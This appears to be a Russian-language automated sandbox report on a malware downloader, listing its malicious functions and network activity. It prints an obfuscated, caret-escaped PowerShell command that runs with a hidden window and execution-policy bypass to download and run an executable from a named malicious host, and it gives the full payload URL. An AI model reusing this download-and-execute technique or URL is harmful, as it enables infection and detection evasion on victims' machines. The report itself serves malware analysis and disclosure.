Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://shengfangt.com/about/fzlc/gscq8ilx/2kqkazob.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PoWErsHelL.^Exe^ -^EXE^cUT^i^o^n^PO^Li^cY^ ^BYPASs^ -^N^oPRoFil^e -W^I^nd^Ow^st^ylE hidd^en^ (nE^W-^oBJEct Sy^stEM.^nE^t^.wEbCliEn^T).^d^O^WN^l^oAdfi^L^e^('http://shengfangt.com/ab...
Сетевая активность
Подключается к
- 'sh###fangt.com':80
TCP
Запросы HTTP GET
- http://sh###fangt.com/about/fzlc/GsCq8ilx/2kQKazoB.exe
UDP
- DNS ASK sh###fangt.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PoWErsHelL.^Exe^ -^EXE^cUT^i^o^n^PO^Li^cY^ ^BYPASs^ -^N^oPRoFil^e -W^I^nd^Ow^st^ylE hidd^en^ (nE^W-^oBJEct Sy^stEM.^nE^t^.wEbCliEn^T).^d^O^WN^l^oAdfi^L^e^('http://shengfangt.com/ab...' (со скрытым окном)
